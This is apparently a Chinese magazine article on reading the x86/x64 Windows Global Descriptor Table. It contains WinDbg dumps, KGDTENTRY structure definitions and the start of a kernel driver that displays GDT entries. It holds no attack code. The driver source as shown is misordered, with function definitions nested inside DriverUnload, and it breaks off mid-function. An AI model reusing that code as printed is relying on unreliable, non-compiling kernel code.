8003f070  ff 03 00 70 ff 92 00 ff-ff ff 00 00 40 9a 00 80  ...p........@... 

8003f080  ff ff 00 00 40 92 00 80-00 00 00 00 00 92 00 00  ....@........... 

8003f090  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 

8003f0a0  68 00 b8 16 38 89 00 82-00 00 00 00 00 00 00 00  h...8........... 

8003f0b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 

8003f0c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 

8003f0d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 

8003f0e0  ff ff 00 f0 50 9f 00 f8-ff ff 00 00 00 92 00 00  ....P........... 

8003f0f0  b7 03 40 d0 4f 98 00 80-ff ff 00 00 00 92 00 00  ..@.O........... 

8003f100  ff ff 00 24 4d 93 40 ba-ff ff 00 24 4d 93 40 ba  ...$M.@....$M.@. 

8003f110  ff ff 00 24 4d 93 40 ba-20 f1 03 80 00 00 00 00  ...$M.@. ....... 

8003f120  28 f1 03 80 00 00 00 00-30 f1 03 80 00 00 00 00  (.......0....... 

8003f130  38 f1 03 80 00 00 00 00-40 f1 03 80 00 00 00 00  8.......@....... 

8003f140  48 f1 03 80 00 00 00 00-50 f1 03 80 00 00 00 00  H.......P....... 

8003f150  58 f1 03 80 00 00 00 00-60 f1 03 80 00 00 00 00  X.......`....... 

8003f160  68 f1 03 80 00 00 00 00-70 f1 03 80 00 00 00 00  h.......p....... 

8003f170  78 f1 03 80 00 00 00 00-80 f1 03 80 00 00 00 00  x............... 

8003f180  88 f1 03 80 00 00 00 00-90 f1 03 80 00 00 00 00  ................ 

8003f190  98 f1 03 80 00 00 00 00-a0 f1 03 80 00 00 00 00  ................ 

8003f1a0  a8 f1 03 80 00 00 00 00-b0 f1 03 80 00 00 00 00  ................ 

8003f1b0  b8 f1 03 80 00 00 00 00-c0 f1 03 80 00 00 00 00  ................ 

8003f1c0  c8 f1 03 80 00 00 00 00-d0 f1 03 80 00 00 00 00  ................ 

8003f1d0  d8 f1 03 80 00 00 00 00-e0 f1 03 80 00 00 00 00  ................ 

8003f1e0  e8 f1 03 80 00 00 00 00-f0 f1 03 80 00 00 00 00  ................ 

8003f1f0  f8 f1 03 80 00 00 00 00-00 f2 03 80 00 00 00 00  ................ 
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8003f200  08 f2 03 80 00 00 00 00-10 f2 03 80 00 00 00 00  ................ 

8003f210  18 f2 03 80 00 00 00 00-20 f2 03 80 00 00 00 00  ........ ....... 

8003f220  28 f2 03 80 00 00 00 00-30 f2 03 80 00 00 00 00  (.......0....... 

8003f230  38 f2 03 80 00 00 00 00-40 f2 03 80 00 00 00 00  8.......@....... 

8003f240  48 f2 03 80 00 00 00 00-50 f2 03 80 00 00 00 00  H.......P....... 

8003f250  58 f2 03 80 00 00 00 00-60 f2 03 80 00 00 00 00  X.......`....... 

8003f260  68 f2 03 80 00 00 00 00-70 f2 03 80 00 00 00 00  h.......p....... 

8003f270  78 f2 03 80 00 00 00 00-80 f2 03 80 00 00 00 00  x............... 

8003f280  88 f2 03 80 00 00 00 00-90 f2 03 80 00 00 00 00  ................ 

8003f290  98 f2 03 80 00 00 00 00-a0 f2 03 80 00 00 00 00  ................ 

8003f2a0  a8 f2 03 80 00 00 00 00-b0 f2 03 80 00 00 00 00  ................ 

8003f2b0  b8 f2 03 80 00 00 00 00-c0 f2 03 80 00 00 00 00  ................ 

8003f2c0  c8 f2 03 80 00 00 00 00-d0 f2 03 80 00 00 00 00  ................ 

8003f2d0  d8 f2 03 80 00 00 00 00-e0 f2 03 80 00 00 00 00  ................ 

8003f2e0  e8 f2 03 80 00 00 00 00-f0 f2 03 80 00 00 00 00  ................ 

8003f2f0  f8 f2 03 80 00 00 00 00-00 f3 03 80 00 00 00 00  ................ 

8003f300  08 f3 03 80 00 00 00 00-10 f3 03 80 00 00 00 00  ................ 

8003f310  18 f3 03 80 00 00 00 00-20 f3 03 80 00 00 00 00  ........ ....... 

8003f320  28 f3 03 80 00 00 00 00-30 f3 03 80 00 00 00 00  (.......0....... 

8003f330  38 f3 03 80 00 00 00 00-40 f3 03 80 00 00 00 00  8.......@....... 

8003f340  48 f3 03 80 00 00 00 00-50 f3 03 80 00 00 00 00  H.......P....... 

8003f350  58 f3 03 80 00 00 00 00-60 f3 03 80 00 00 00 00  X.......`....... 

8003f360  68 f3 03 80 00 00 00 00-70 f3 03 80 00 00 00 00  h.......p....... 

8003f370  78 f3 03 80 00 00 00 00-80 f3 03 80 00 00 00 00  x............... 

8003f380  88 f3 03 80 00 00 00 00-90 f3 03 80 00 00 00 00  ................ 

8003f390  98 f3 03 80 00 00 00 00-a0 f3 03 80 00 00 00 00  ................ 

8003f3a0  a8 f3 03 80 00 00 00 00-b0 f3 03 80 00 00 00 00  ................ 

8003f3b0  b8 f3 03 80 00 00 00 00-c0 f3 03 80 00 00 00 00  ................ 

8003f3c0  c8 f3 03 80 00 00 00 00-d0 f3 03 80 00 00 00 00  ................ 

8003f3d0  d8 f3 03 80 00 00 00 00-e0 f3 03 80 00 00 00 00  ................ 

8003f3e0  e8 f3 03 80 00 00 00 00-f0 f3 03 80 00 00 00 00  ................ 

8003f3f0  f8 f3 03 80 00 00 00 00-00 00 00 00 00 00 00 00  ................ 

 

 注意：是 8 字节对齐，并不是 8 的整数倍。不过这些数据不好看，要解析，这就是我们

的任务。其实也可以这样看： 

 

kd> dg 0 3ff 

                                  P Si Gr Pr Lo 

Sel    Base     Limit     Type    l ze an es ng Flags 

---- -------- -------- ---------- - -- -- -- -- -------- 

0000 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

0008 00000000 ffffffff Code RE Ac 0 Bg Pg P  Nl 00000c9b 

0010 00000000 ffffffff Data RW Ac 0 Bg Pg P  Nl 00000c93 

0018 00000000 ffffffff Code RE Ac 3 Bg Pg P  Nl 00000cfb 
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0020 00000000 ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3 

0028 80042000 000020ab TSS32 Busy 0 Nb By P  Nl 0000008b 

0030 ffdff000 00001fff Data RW Ac 0 Bg Pg P  Nl 00000c93 

0038 00000000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3 

0040 00000400 0000ffff Data RW    3 Nb By P  Nl 000000f2 

0048 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

0050 80552700 00000068 TSS32 Avl  0 Nb By P  Nl 00000089 

0058 80552768 00000068 TSS32 Avl  0 Nb By P  Nl 00000089 

0060 00022f40 0000ffff Data RW Ac 0 Nb By P  Nl 00000093 

0068 000b8000 00003fff Data RW    0 Nb By P  Nl 00000092 

0070 ffff7000 000003ff Data RW    0 Nb By P  Nl 00000092 

0078 80400000 0000ffff Code RE    0 Nb By P  Nl 0000009a 

0080 80400000 0000ffff Data RW    0 Nb By P  Nl 00000092 

0088 00000000 00000000 Data RW    0 Nb By P  Nl 00000092 

0090 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

0098 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

00A0 823816b8 00000068 TSS32 Avl  0 Nb By P  Nl 00000089 

00A8 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

00B0 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

00B8 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

00C0 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

00C8 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

00D0 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

00D8 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

00E0 f850f000 0000ffff Code RE Ac 0 Nb By P  Nl 0000009f 

00E8 00000000 0000ffff Data RW    0 Nb By P  Nl 00000092 

00F0 804fd040 000003b7 Code EO    0 Nb By P  Nl 00000098 

00F8 00000000 0000ffff Data RW    0 Nb By P  Nl 00000092 

0100 ba4d2400 0000ffff Data RW Ac 0 Bg By P  Nl 00000493 

0108 ba4d2400 0000ffff Data RW Ac 0 Bg By P  Nl 00000493 

0110 ba4d2400 0000ffff Data RW Ac 0 Bg By P  Nl 00000493 

0118 00008003 0000f120 <Reserved> 0 Nb By Np Nl 00000000 

0120 00008003 0000f128 <Reserved> 0 Nb By Np Nl 00000000 

0128 00008003 0000f130 <Reserved> 0 Nb By Np Nl 00000000 

0130 00008003 0000f138 <Reserved> 0 Nb By Np Nl 00000000 

0138 00008003 0000f140 <Reserved> 0 Nb By Np Nl 00000000 

0140 00008003 0000f148 <Reserved> 0 Nb By Np Nl 00000000 

0148 00008003 0000f150 <Reserved> 0 Nb By Np Nl 00000000 

0150 00008003 0000f158 <Reserved> 0 Nb By Np Nl 00000000 

0158 00008003 0000f160 <Reserved> 0 Nb By Np Nl 00000000 

0160 00008003 0000f168 <Reserved> 0 Nb By Np Nl 00000000 

0168 00008003 0000f170 <Reserved> 0 Nb By Np Nl 00000000 

0170 00008003 0000f178 <Reserved> 0 Nb By Np Nl 00000000 

0178 00008003 0000f180 <Reserved> 0 Nb By Np Nl 00000000 
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0180 00008003 0000f188 <Reserved> 0 Nb By Np Nl 00000000 

0188 00008003 0000f190 <Reserved> 0 Nb By Np Nl 00000000 

0190 00008003 0000f198 <Reserved> 0 Nb By Np Nl 00000000 

0198 00008003 0000f1a0 <Reserved> 0 Nb By Np Nl 00000000 

01A0 00008003 0000f1a8 <Reserved> 0 Nb By Np Nl 00000000 

01A8 00008003 0000f1b0 <Reserved> 0 Nb By Np Nl 00000000 

01B0 00008003 0000f1b8 <Reserved> 0 Nb By Np Nl 00000000 

01B8 00008003 0000f1c0 <Reserved> 0 Nb By Np Nl 00000000 

01C0 00008003 0000f1c8 <Reserved> 0 Nb By Np Nl 00000000 

01C8 00008003 0000f1d0 <Reserved> 0 Nb By Np Nl 00000000 

01D0 00008003 0000f1d8 <Reserved> 0 Nb By Np Nl 00000000 

01D8 00008003 0000f1e0 <Reserved> 0 Nb By Np Nl 00000000 

01E0 00008003 0000f1e8 <Reserved> 0 Nb By Np Nl 00000000 

01E8 00008003 0000f1f0 <Reserved> 0 Nb By Np Nl 00000000 

01F0 00008003 0000f1f8 <Reserved> 0 Nb By Np Nl 00000000 

01F8 00008003 0000f200 <Reserved> 0 Nb By Np Nl 00000000 

0200 00008003 0000f208 <Reserved> 0 Nb By Np Nl 00000000 

0208 00008003 0000f210 <Reserved> 0 Nb By Np Nl 00000000 

0210 00008003 0000f218 <Reserved> 0 Nb By Np Nl 00000000 

0218 00008003 0000f220 <Reserved> 0 Nb By Np Nl 00000000 

0220 00008003 0000f228 <Reserved> 0 Nb By Np Nl 00000000 

0228 00008003 0000f230 <Reserved> 0 Nb By Np Nl 00000000 

0230 00008003 0000f238 <Reserved> 0 Nb By Np Nl 00000000 

0238 00008003 0000f240 <Reserved> 0 Nb By Np Nl 00000000 

0240 00008003 0000f248 <Reserved> 0 Nb By Np Nl 00000000 

0248 00008003 0000f250 <Reserved> 0 Nb By Np Nl 00000000 

0250 00008003 0000f258 <Reserved> 0 Nb By Np Nl 00000000 

0258 00008003 0000f260 <Reserved> 0 Nb By Np Nl 00000000 

0260 00008003 0000f268 <Reserved> 0 Nb By Np Nl 00000000 

0268 00008003 0000f270 <Reserved> 0 Nb By Np Nl 00000000 

0270 00008003 0000f278 <Reserved> 0 Nb By Np Nl 00000000 

0278 00008003 0000f280 <Reserved> 0 Nb By Np Nl 00000000 

0280 00008003 0000f288 <Reserved> 0 Nb By Np Nl 00000000 

0288 00008003 0000f290 <Reserved> 0 Nb By Np Nl 00000000 

0290 00008003 0000f298 <Reserved> 0 Nb By Np Nl 00000000 

0298 00008003 0000f2a0 <Reserved> 0 Nb By Np Nl 00000000 

02A0 00008003 0000f2a8 <Reserved> 0 Nb By Np Nl 00000000 

02A8 00008003 0000f2b0 <Reserved> 0 Nb By Np Nl 00000000 

02B0 00008003 0000f2b8 <Reserved> 0 Nb By Np Nl 00000000 

02B8 00008003 0000f2c0 <Reserved> 0 Nb By Np Nl 00000000 

02C0 00008003 0000f2c8 <Reserved> 0 Nb By Np Nl 00000000 

02C8 00008003 0000f2d0 <Reserved> 0 Nb By Np Nl 00000000 

02D0 00008003 0000f2d8 <Reserved> 0 Nb By Np Nl 00000000 

02D8 00008003 0000f2e0 <Reserved> 0 Nb By Np Nl 00000000 

HACKER DEFENCE◆32◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

02E0 00008003 0000f2e8 <Reserved> 0 Nb By Np Nl 00000000 

02E8 00008003 0000f2f0 <Reserved> 0 Nb By Np Nl 00000000 

02F0 00008003 0000f2f8 <Reserved> 0 Nb By Np Nl 00000000 

02F8 00008003 0000f300 <Reserved> 0 Nb By Np Nl 00000000 

0300 00008003 0000f308 <Reserved> 0 Nb By Np Nl 00000000 

0308 00008003 0000f310 <Reserved> 0 Nb By Np Nl 00000000 

0310 00008003 0000f318 <Reserved> 0 Nb By Np Nl 00000000 

0318 00008003 0000f320 <Reserved> 0 Nb By Np Nl 00000000 

0320 00008003 0000f328 <Reserved> 0 Nb By Np Nl 00000000 

0328 00008003 0000f330 <Reserved> 0 Nb By Np Nl 00000000 

0330 00008003 0000f338 <Reserved> 0 Nb By Np Nl 00000000 

0338 00008003 0000f340 <Reserved> 0 Nb By Np Nl 00000000 

0340 00008003 0000f348 <Reserved> 0 Nb By Np Nl 00000000 

0348 00008003 0000f350 <Reserved> 0 Nb By Np Nl 00000000 

0350 00008003 0000f358 <Reserved> 0 Nb By Np Nl 00000000 

0358 00008003 0000f360 <Reserved> 0 Nb By Np Nl 00000000 

0360 00008003 0000f368 <Reserved> 0 Nb By Np Nl 00000000 

0368 00008003 0000f370 <Reserved> 0 Nb By Np Nl 00000000 

0370 00008003 0000f378 <Reserved> 0 Nb By Np Nl 00000000 

0378 00008003 0000f380 <Reserved> 0 Nb By Np Nl 00000000 

0380 00008003 0000f388 <Reserved> 0 Nb By Np Nl 00000000 

0388 00008003 0000f390 <Reserved> 0 Nb By Np Nl 00000000 

0390 00008003 0000f398 <Reserved> 0 Nb By Np Nl 00000000 

0398 00008003 0000f3a0 <Reserved> 0 Nb By Np Nl 00000000 

03A0 00008003 0000f3a8 <Reserved> 0 Nb By Np Nl 00000000 

03A8 00008003 0000f3b0 <Reserved> 0 Nb By Np Nl 00000000 

03B0 00008003 0000f3b8 <Reserved> 0 Nb By Np Nl 00000000 

03B8 00008003 0000f3c0 <Reserved> 0 Nb By Np Nl 00000000 

03C0 00008003 0000f3c8 <Reserved> 0 Nb By Np Nl 00000000 

03C8 00008003 0000f3d0 <Reserved> 0 Nb By Np Nl 00000000 

03D0 00008003 0000f3d8 <Reserved> 0 Nb By Np Nl 00000000 

03D8 00008003 0000f3e0 <Reserved> 0 Nb By Np Nl 00000000 

03E0 00008003 0000f3e8 <Reserved> 0 Nb By Np Nl 00000000 

03E8 00008003 0000f3f0 <Reserved> 0 Nb By Np Nl 00000000 

03F0 00008003 0000f3f8 <Reserved> 0 Nb By Np Nl 00000000 

03F8 00000000 00000000 <Reserved> 0 Nb By Np Nl 00000000 

 

 我们的功能就是要解析出这样的格式。注意，另外一个话题是：也可以手动分析出这个

格式，如： 

 

kd> r cs  

cs=00000008 

 

 然后根据一定的算法得出的结论要如下（一种思路是根据_KGDTENTRY 的定义）： 
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kd> dg cs  

                                  P Si Gr Pr Lo 

Sel    Base     Limit     Type    l ze an es ng Flags 

---- -------- -------- ---------- - -- -- -- -- -------- 

0008 00000000 ffffffff Code RE Ac 0 Bg Pg P  Nl 00000c9b 

 

 这个算法就不说了，相信你会的。GDT 就是一个（数组格式的）表，里面的每一项是一

个 Segment Descriptors。 

 关于这个的格式，可见 Intel 64 and IA-32 Architectures Software Developer’s Manual（Order 

Number: 325462-055US June 2015）的 Volume 3: System Programming Guide 的 3.4.5 Segment 

Descriptors 小节及附图。 

 Segment Descriptors 具体分两大类：一类是 application (code or data) descriptor，这就是

常见的代码/数据段，如大多数的 CS、DS 都指向这里；一类是 system descriptor，这里又分

为 system-segment descriptors（LDT and TSS segments）。但是，这些结构在 Windows 下的定

义是什么样的呢？经查 WRK 和 WINDBG，结果如下： 

 

// Special Registers for i386 

typedef struct _X86_DESCRIPTOR { 

    USHORT  Pad; 

    USHORT  Limit; 

    ULONG   Base; 

} X86_DESCRIPTOR, *PX86_DESCRIPTOR; 

// GDT Entry 

typedef struct _KGDTENTRY { 

    USHORT  LimitLow; 

    USHORT  BaseLow; 

    union { 

        struct { 

            UCHAR   BaseMid; 

            UCHAR   Flags1;     // Declare as bytes to avoid alignment 

            UCHAR   Flags2;     // Problems. 

            UCHAR   BaseHi; 

        } Bytes; 

        struct { 

            ULONG   BaseMid : 8; 

            ULONG   Type : 5;//把 S 位包含进去了，也就是是否为系统段描述符的位。 

            ULONG   Dpl : 2; 

            ULONG   Pres : 1; 

            ULONG   LimitHi : 4; 

            ULONG   Sys : 1;//即 AVL，系统软件自定义的。 

            ULONG   Reserved_0 : 1;//LongMode 

            ULONG   Default_Big : 1;//即 INTEL 的 D/B (default operation size/default stack 

pointer size and/or upper bound) flag。 
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            ULONG   Granularity : 1; 

            ULONG   BaseHi : 8; 

        } Bits; 

    } HighWord; 

} KGDTENTRY, *PKGDTENTRY; 

 

 为什么定义的名字是 KGDTENTRY 呢？其实你想想结构的位置。这个其实就是 Segment 

Descriptors，但是定义和 Intel 的不完全一样。 

 

kd> dt nt!_KGDTENTRY  

   +0x000 LimitLow         : Uint2B 

   +0x002 BaseLow          : Uint2B 

   +0x004 HighWord         : __unnamed 

kd> dt nt!_KGDTENTRY -b 

   +0x000 LimitLow         : Uint2B 

   +0x002 BaseLow          : Uint2B 

   +0x004 HighWord         : __unnamed 

      +0x000 Bytes            : __unnamed 

         +0x000 BaseMid          : UChar 

         +0x001 Flags1           : UChar 

         +0x002 Flags2           : UChar 

         +0x003 BaseHi           : UChar 

      +0x000 Bits             : __unnamed 

         +0x000 BaseMid          : Pos 0, 8 Bits 

         +0x000 Type             : Pos 8, 5 Bits 

         +0x000 Dpl              : Pos 13, 2 Bits 

         +0x000 Pres             : Pos 15, 1 Bit 

         +0x000 LimitHi          : Pos 16, 4 Bits 

         +0x000 Sys              : Pos 20, 1 Bit 

         +0x000 Reserved_0       : Pos 21, 1 Bit 

         +0x000 Default_Big      : Pos 22, 1 Bit 

         +0x000 Granularity      : Pos 23, 1 Bit 

         +0x000 BaseHi           : Pos 24, 8 Bits 

 

 上面分析的是 32 位下的 Windows 系统，再看看 64 位下 Windows 的 GDT。 

 

0: kd> vertarget  

Windows 7 Kernel Version 7601 (Service Pack 1) MP (2 procs) Free x64 

Built by: 7601.18869.amd64fre.win7sp1_gdr.150525-0603 

Machine Name: 

Kernel base = 0xfffff800`01e64000 PsLoadedModuleList = 0xfffff800`020ab730 

Debug session time: Thu Aug  6 14:37:33.359 2015 (UTC + 8:00) 

System Uptime: 0 days 0:13:15.757 

0: kd> r gdtr 
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gdtr=fffff80001d51000 

0: kd> r gdtl 

gdtl=007f 

0: kd> db fffff80001d51000 L(007f + 1) 

fffff800`01d51000  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 

fffff800`01d51010  00 00 00 00 00 9b 20 00-ff ff 00 00 00 93 cf 00  ...... ......... 

fffff800`01d51020  ff ff 00 00 00 fb cf 00-ff ff 00 00 00 f3 cf 00  ................ 

fffff800`01d51030  00 00 00 00 00 fb 20 00-00 00 00 00 00 00 00 00  ...... ......... 

fffff800`01d51040  67 00 80 20 d5 8b 00 01-00 f8 ff ff 00 00 00 00  g.. ............ 

fffff800`01d51050  00 3c 00 a0 f9 f3 40 ff-00 00 00 00 00 00 00 00  .<....@......... 

fffff800`01d51060  ff ff 00 00 00 9a cf 00-00 00 00 00 00 00 00 00  ................ 

fffff800`01d51070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 

0: kd> dg 0 80 

                                                    P Si Gr Pr Lo 

Sel        Base              Limit          Type    l ze an es ng Flags 

---- ----------------- ----------------- ---------- - -- -- -- -- -------- 

0000 00000000`00000000 00000000`00000000 <Reserved> 0 Nb By Np Nl 00000000 

0008 00000000`00000000 00000000`00000000 <Reserved> 0 Nb By Np Nl 00000000 

0010 00000000`00000000 00000000`00000000 Code RE Ac 0 Nb By P  Lo 0000029b 

0018 00000000`00000000 00000000`ffffffff Data RW Ac 0 Bg Pg P  Nl 00000c93 

0020 00000000`00000000 00000000`ffffffff Code RE Ac 3 Bg Pg P  Nl 00000cfb 

0028 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3 

0030 00000000`00000000 00000000`00000000 Code RE Ac 3 Nb By P  Lo 000002fb 

0038 00000000`00000000 00000000`00000000 <Reserved> 0 Nb By Np Nl 00000000 

0040 00000000`01d52080 00000000`00000067 TSS32 Busy 0 Nb By P  Nl 0000008b 

0048 00000000`0000ffff 00000000`0000f800 <Reserved> 0 Nb By Np Nl 00000000 

0050 ffffffff`fff9a000 00000000`00003c00 Data RW Ac 3 Bg By P  Nl 000004f3 

0058 00000000`00000000 00000000`00000000 <Reserved> 0 Nb By Np Nl 00000000 

0060 00000000`00000000 00000000`ffffffff Code RE    0 Bg Pg P  Nl 00000c9a 

0068 00000000`00000000 00000000`00000000 <Reserved> 0 Nb By Np Nl 00000000 

0070 00000000`00000000 00000000`00000000 <Reserved> 0 Nb By Np Nl 00000000 

0078 00000000`00000000 00000000`00000000 <Reserved> 0 Nb By Np Nl 00000000 

0080 Unable to get descriptor 

 

 WRK 及 WINDBG 的相关（验证）信息如下： 

 

// Special Registers for AMD64. 

typedef struct _AMD64_DESCRIPTOR { 

    USHORT  Pad[3]; 

    USHORT  Limit; 

    ULONG64 Base; 

} AMD64_DESCRIPTOR, *PAMD64_DESCRIPTOR; 

 

typedef union _KGDTENTRY64 { 
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    struct { 

        USHORT  LimitLow; 

        USHORT  BaseLow; 

        union { 

            struct { 

                UCHAR   BaseMiddle; 

                UCHAR   Flags1; 

                UCHAR   Flags2; 

                UCHAR   BaseHigh; 

            } Bytes; 

            struct { 

                ULONG   BaseMiddle : 8; 

                ULONG   Type : 5;//把 S 位包含进去了，也就是是否为系统段描述符的位。 

                ULONG   Dpl : 2; 

                ULONG   Present : 1; 

                ULONG   LimitHigh : 4; 

                ULONG   System : 1;//即 AVL，系统软件自定义的。 

                ULONG   LongMode : 1; 

                ULONG   DefaultBig : 1;//即 INTEL 的 D/B (default operation size/default 

stack pointer size and/or upper bound) flag。 

                ULONG   Granularity : 1; 

                ULONG   BaseHigh : 8; 

            } Bits; 

        }; 

        //ULONG BaseUpper; 

        //ULONG MustBeZero; 

    }; 

    //ULONG64 Alignment; 

} KGDTENTRY64, *PKGDTENTRY64; 

 

0: kd> dt _KGDTENTRY64 

hal!_KGDTENTRY64 

   +0x000 LimitLow         : Uint2B 

   +0x002 BaseLow          : Uint2B 

   +0x004 Bytes            : <unnamed-tag> 

   +0x004 Bits             : <unnamed-tag> 

   +0x008 BaseUpper        : Uint4B 

   +0x00c MustBeZero       : Uint4B 

   +0x000 Alignment        : Uint8B 

0: kd> dt _KGDTENTRY64 -b 

hal!_KGDTENTRY64 

   +0x000 LimitLow         : Uint2B 

   +0x002 BaseLow          : Uint2B 

   +0x004 Bytes            : <unnamed-tag> 
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      +0x000 BaseMiddle       : UChar 

      +0x001 Flags1           : UChar 

      +0x002 Flags2           : UChar 

      +0x003 BaseHigh         : UChar 

   +0x004 Bits             : <unnamed-tag> 

      +0x000 BaseMiddle       : Pos 0, 8 Bits 

      +0x000 Type             : Pos 8, 5 Bits 

      +0x000 Dpl              : Pos 13, 2 Bits 

      +0x000 Present          : Pos 15, 1 Bit 

      +0x000 LimitHigh        : Pos 16, 4 Bits 

      +0x000 System           : Pos 20, 1 Bit 

      +0x000 LongMode         : Pos 21, 1 Bit 

      +0x000 DefaultBig       : Pos 22, 1 Bit 

      +0x000 Granularity      : Pos 23, 1 Bit 

      +0x000 BaseHigh         : Pos 24, 8 Bits 

   +0x008 BaseUpper        : Uint4B 

   +0x00c MustBeZero       : Uint4B 

   +0x000 Alignment        : Uint8B 

 

 注意： 

 1）以上只分析一个 CPU 的情况，如果计算机有多颗 CPU 要分别处理。 

 2）为了和 WINDBG 的 DG 命令处理/显示的相似，特意根据 INTEL 的 Table 3-1. Code- and 

Data-Segment Types，制作一个字符串数组，但还有待改善。 

 3）GetGdtLimit 的这个功能没有相应的 C 代码，只有汇编代码（.asm 文件），包括 X86

和 X64。 

 最后只有代码了，具体如下： 

 

/* 

功能：显示每个 CPU 的 GDT 信息。 

注释：以下结构摘自 WRK。 

homepage:http://correy.webs.com 注释：需翻墙，有的翻墙软件也打不开。 

*/ 

 

#include <ntifs.h> 

#include <windef.h> 

#if defined(_AMD64_) || defined(_IA64_) //defined(_WIN64) 

 

// Special Registers for AMD64. 

typedef struct _AMD64_DESCRIPTOR { 

    USHORT  Pad[3]; 

    USHORT  Limit; 

    ULONG64 Base; 

} AMD64_DESCRIPTOR, *PAMD64_DESCRIPTOR; 
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typedef union _KGDTENTRY64 { 

    struct { 

        USHORT  LimitLow; 

        USHORT  BaseLow; 

        union { 

            struct { 

                UCHAR   BaseMiddle; 

                UCHAR   Flags1; 

                UCHAR   Flags2; 

                UCHAR   BaseHigh; 

            } Bytes; 

            struct { 

                ULONG   BaseMiddle : 8; 

                ULONG   Type : 5;//把 S 位包含进去了，也就是是否为系统段描述符的位。 

                ULONG   Dpl : 2; 

                ULONG   Present : 1; 

                ULONG   LimitHigh : 4; 

                ULONG   System : 1;//即 AVL，系统软件自定义的。 

                ULONG   LongMode : 1; 

                ULONG   DefaultBig : 1;//即 INTEL 的 D/B (default operation size/default 

stack pointer size and/or upper bound) flag。 

                ULONG   Granularity : 1; 

                ULONG   BaseHigh : 8; 

            } Bits; 

        }; 

        //ULONG BaseUpper;/*经观察，64 下的结构的长度是 6 字节，不是上面定义的 16

字节。*/ 

        //ULONG MustBeZero; 

    }; 

    //ULONG64 Alignment; 

} KGDTENTRY64, *PKGDTENTRY64; 

 

#else  

// Special Registers for i386 

typedef struct _X86_DESCRIPTOR { 

    USHORT  Pad; 

    USHORT  Limit; 

    ULONG   Base; 

} X86_DESCRIPTOR, *PX86_DESCRIPTOR; 

// GDT Entry 

typedef struct _KGDTENTRY { 

    USHORT  LimitLow; 

    USHORT  BaseLow; 

    union { 
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        struct { 

            UCHAR   BaseMid; 

            UCHAR   Flags1;     // Declare as bytes to avoid alignment 

            UCHAR   Flags2;     // Problems. 

            UCHAR   BaseHi; 

        } Bytes; 

        struct { 

            ULONG   BaseMid : 8; 

            ULONG   Type : 5;//把 S 位包含进去了，也就是是否为系统段描述符的位。 

            ULONG   Dpl : 2; 

            ULONG   Pres : 1; 

            ULONG   LimitHi : 4; 

            ULONG   Sys : 1;//即 AVL，系统软件自定义的。 

            ULONG   Reserved_0 : 1;//LongMode 

            ULONG   Default_Big : 1;//即 INTEL 的 D/B (default operation size/default stack 

pointer size and/or upper bound) flag。 

            ULONG   Granularity : 1; 

            ULONG   BaseHi : 8; 

        } Bits; 

    } HighWord; 

} KGDTENTRY, *PKGDTENTRY; 

 

#endif 

/* 

根据：Table 3-1. Code- and Data-Segment Types，仿照 WINDBG 的 dg 命令定义。 

*/ 

char SegmentTypes[][256] = { 

 "<Reserved>",//Data Read-Only 缩写是：Data RO，也可认为是： <Reserved>。如果结构

（UINT64）全部为零，也可认为是 Reserved。 

 "Data RO AC",//Data Read-Only, accessed 

 "Data RW",//Data Read/Write 

 "Data RW AC",//Data Read/Write, accessed 

 "Data RO ED",//Data Read-Only, expand-down 

 "Data RO ED AC",//Data Read-Only, expand-down, accessed 

    "Data RW ED",//Data Read/Write, expand-down 

    "Data RW ED AC",//Data Read/Write, expand-down, accessed 

    "Code EO",//Code Execute-Only 

    "Code EO AC",//Code Execute-Only, accessed 

    "Code RE",//Code Execute/Read 加空格以便显示的对齐。 

    "Code RE AC",//Code Execute/Read, accessed 

    "Code EO CO",//Code Execute-Only, conforming 

    "Code EO CO AC",//Code Execute-Only, conforming, accessed 

    "Code RE CO",//Code Execute/Read, conforming 

    "Code RE CO AC",//Code Execute/Read, conforming, accessed 
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    "TSS32 Busy ",//这个也可显示只要识别了 TSS 及内容。 

    "TSS32 Avl" //这个在 X86 上出现了。 

};  

 

DRIVER_UNLOAD DriverUnload; 

VOID DriverUnload(__in PDRIVER_OBJECT DriverObject) 

{    

#ifdef _X86_ 

__forceinline PKPCR KeGetPcr (VOID) 

{ 

    return (PKPCR)__readfsdword(FIELD_OFFSET(KPCR, SelfPcr)); 

} 

#endif 

 

USHORT NTAPI GetGdtLimit ();//汇编函数。 

#if defined(_WIN64) 

void show_gdt(int i) 

    /* 

    i 的取值可以是 0. 

    */ 

{ 

    //SIZE_T IDTR; 

    //X86_DESCRIPTOR gdtr = {0};//A pointer to the memory location where the IDTR is stored. 

    //KGDTENTRY * GDT = 0; 

    USHORT GdtLimit = 0; 

    SIZE_T r = 0; 

    PVOID p = 0; 

    int index = 0; 

    int maximun = 0; 

    PKGDTENTRY64 pkgdte; 

    SIZE_T ISR = 0; 

    KeSetSystemAffinityThread(i + 1); 

    pkgdte = KeGetPcr()->GdtBase;//没有__sgdt,也不用 sgdt 汇编指令的办法。但是这个获取

的没有长度。 

    GdtLimit = GetGdtLimit ();//一般等于 0x7f. 

    KeRevertToUserAffinityThread(); 

    //p = &gdtr.Limit; 

    //r = * (SIZE_T *)p; 

    //pkgdte = (PKGDTENTRY)r;  

    /* 

    其实直接 maximun = (idtr.Base + 1) / sizeof(KIDTENTRY);也可以。maximun 一般等于 256。 

    */ 

